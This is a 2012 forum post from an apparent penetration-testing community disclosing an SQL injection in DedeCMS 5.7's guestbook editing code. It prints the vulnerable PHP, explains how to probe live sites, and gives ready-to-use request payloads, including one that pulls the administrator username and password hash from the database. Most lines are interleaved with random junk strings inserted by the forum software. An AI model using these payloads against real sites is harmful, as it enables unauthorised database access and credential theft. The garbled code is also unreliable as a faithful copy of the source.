中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
4 ]% h( L  `0 q" {/ \/ D' ~" W) ]7 z5 _& D: _3 ?
漏洞文件edit.inc.php具体代码:: S3 Q3 x$ P/ k
2 \+ |$ Q* Y+ |+ \+ A1 [
< ?php  
6 C$ y  L1 _  Y, R/ x* m6 D$ h' E4 M
if(!defined('DEDEINC')) exit('Request Error!');  
6 t! w9 f! N( W) X0 _
7 S, w! X$ t) L0 p) `& o! t' G   
% e1 H' z3 B1 K) d6 M% R+ m6 ~4 t' w. q. D4 D' [8 Y3 w1 b2 W3 U
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
" y  Q6 ~/ g" L& f8 A! m. c4 H+ a
else $GUEST_BOOK_POS = "guestbook.php";  
! k( a3 J* ]' z- W  i
" T" k5 r0 J4 A! \   , p+ E0 `$ P, D4 M% v5 h
7 J3 `# ]+ p. D5 f) G
$id = intval($id);  
1 A3 m2 }$ h% ?* j. @9 W; W: x6 T/ g
if(empty($job)) $job='view';  , @0 F& q/ v* ]

  q9 T+ u* |/ c+ A2 H1 M   + u! G8 l6 n8 {  ]# j1 b

* U* D, b# d% a* z- rif($job=='del' && $g_isadmin)  
0 S5 H$ `% V/ O, P* ^2 G' X2 J3 I# W0 d% I4 P$ j5 b7 {5 K  F
{  3 f+ h( i$ g2 D% x$ x  P

! M0 j$ u2 q9 o" e$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
+ y+ \6 D5 [8 a- e) W+ g2 X/ @% J4 O
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
3 S4 a2 Y! T! c, v
4 e+ K" ^& H5 n4 D4 s4 o1 b1 {exit();  
  G% \* X2 l- m  x2 K
$ s0 ?; j7 j5 _( t, N7 r( r+ U2 `}  6 y  P7 e3 `0 N: Z; m! f% C/ _0 ~
6 [3 A- H" ~) q. d2 j7 j! U5 H( Y' @
else if($job=='check' && $g_isadmin)  5 i( j4 U0 t6 ~4 W5 A) D$ J
4 z8 c5 O! E- x! H$ ^
{  $ ^& {2 {7 {$ Y. [% T0 l, h# g
2 T) d: G5 K' k; X4 J- z3 g
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
+ o* |  J- O- _% r$ s/ C
$ `) Y, g$ }' Y4 G( s$ nShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
4 R7 Q0 R9 M: V" X# r/ w$ f
* F" x6 s2 W9 ~8 {$ k$ }+ Kexit();  
1 `0 \2 `3 v: n2 c( e5 V1 ^2 `' ~2 S7 M
}  
# ^& ~6 U- R$ o  }6 `& K
: r4 T) u* J/ j8 welse if($job=='editok')  / \* p& D4 M8 p8 A, A8 L
2 D  o3 `; _7 z0 M3 T
{  0 b' j4 h( _5 p( O  e

  P/ d4 K( m( K/ N, \0 c6 G9 o$remsg = trim($remsg);  
/ Y" G. i+ ^7 }5 q, r- w1 G" C# j) `' X& |. W+ a% l
if($remsg!='')  6 Z' \( W7 Y* T! e$ V

- u" a: Q3 G( U6 t{  ; l! N2 g5 u$ h$ k
, V* B" z+ x& s. N+ l; c
//管理员回复不过滤HTML By:Errorera blog:errs.cc  - E3 L& ^8 i; V5 c

, z, L) R: L9 w. x2 ~: B6 Cif($g_isadmin)  
, s( {: [$ {, @) ^; Q7 `% S' r! M5 U8 C! j. N
{  
, [( s& n- ]: f6 F* X, z" q0 _  @( |6 e  p
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  5 A3 f$ O- c6 A) Q1 g& ?
9 k/ d( i# V8 H( W
//$remsg <br /><font color=red>管理员回复:</font> }  
3 `) ?, R# ^7 L! P2 v5 \0 N7 Y8 q- I2 W( a) P
else ! F2 i" J; A$ n9 [3 c/ a6 }
$ ^" Y3 W3 ]% O4 A) g
{  7 S6 Q" C7 @4 e5 ^) E2 f/ W9 B

) l. V) Y1 m  M" U4 p$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  - ?7 R' ~+ |3 \
/ {* Q! C: ?' L4 G) @
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
% z: R- @+ r! M+ C. R' m6 Z& Q+ |
3 P8 }5 W- O4 p! \9 i: m$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
7 t& R8 P, u/ R: g5 y* t+ s5 U9 K( [% |' k% u7 u  K8 m8 j0 M
$msg = $oldmsg.$remsg;  
6 D$ Y& C0 J/ c) F; w% Z/ U' e" j$ m2 j( }- s9 K, H
}  
) s. U% R* {+ a* K; [" G# [9 }
( H9 x* t5 V  H% t' R}  * E: k4 O2 O0 z8 B$ S

' {- g1 n& Q& m  s9 j4 E3 b//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  - [6 R" ^: f6 s' }4 ^

" O" N4 j2 K- B5 t! y* b& V* R$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ H( P& W$ C5 O0 C' V: V4 T
, \* \; v1 i0 I/ m" J) y4 uShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  : c  ?8 y2 a5 p, \( X7 J+ K3 p
7 `0 p3 L- G, q
exit();  ! ~1 x4 h0 r& {  D" q! U
$ `$ j1 R  R3 f: t
}  ( f6 i- m( F* h/ p3 ?& j
) X: G& X- j) y' z. Q! Z
//home:www.errs.cc  % Y- A, t, \, _% L# G' H  O

( k3 e3 n  w1 ~% Z3 ^+ Wif($g_isadmin)  7 F- ^) y: w, ?- `1 n4 h+ b+ {* j9 N7 Z
# j) x7 h# x) n! n0 Z" s$ y$ r+ L
{  ( B7 m$ L+ F8 g- T+ |9 n& e
) M, B7 L8 K1 s. ?
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
. M8 @7 n5 g6 h- I. Q& S: H3 \+ t
9 O% f: u( n+ N# frequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
: H" X) o2 J: |1 M( Q& M* e+ r' |7 J6 Z$ e5 H" V, d# i. e
}  
0 [6 C; G5 H* O0 T* d
1 B+ r7 d2 D& ]1 R( ~# Ielse
2 u6 O  `- J5 Y: S( t6 J, [; P  \  A
{  
4 k1 j( ]! b  u' D$ `2 E( ]( e' b5 n" j
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
7 U$ D+ T8 p8 c
. R: _: e* z8 B( s' U/ N$ h7 crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  7 \+ [6 B6 A1 u, [
* r! a9 t+ e- ~6 H8 C& P9 b
} 漏洞成功需要条件:- v: z0 _5 V) t; p$ t; c) o7 K; a
1. php magic_quotes_gpc=off" r, M+ S, V, A$ O8 S0 \' b
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。7 q! ?5 z1 F6 x

4 e# g1 c" z8 e. r2 X6 z; `$ G6 o7 F3 P1 |怎么判断是否存在漏洞:
+ S2 ?$ U8 A/ y8 P4 o# t" [  j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,5 R7 ^& Z) x" Q7 e  R6 w9 T! g  c
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID  ^# T( X) _4 X5 o: }7 P3 C* _
访问:
; @1 r6 T9 J7 U& U9 I& j9 ^1 A4 Q3 O
1 P  P& K& n0 [$ \6 i* P% swww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, k0 S) v# M3 @( C1 q! z3 A* I跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 x9 ~1 w: E* `4 ?1 G; w6 u. R7 Y1 V% u. ?$ Q" |3 S
4 ?  Q, g8 Q$ r' T, D
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off) B# z5 [3 R0 \* Y4 b
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。' p/ }  X  Y9 [
那么再次访问" b2 e" g" ]6 J5 t0 q7 a. S

3 ?6 n2 ]  B" q# uwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().* I* R( S/ Q# t1 U
- w, d3 h. [5 Q$ C  c1 \7 C
大概利用就是这样,大家有兴趣的多研究下!!
7 M. F8 I* T1 q) u6 b+ H& U
# h$ \3 ]3 v5 s* F- u, p. q& I最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
  z  \9 Y$ T1 D6 v9 S8 s4 n) ?8 _' V; \- Z/ ]# y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2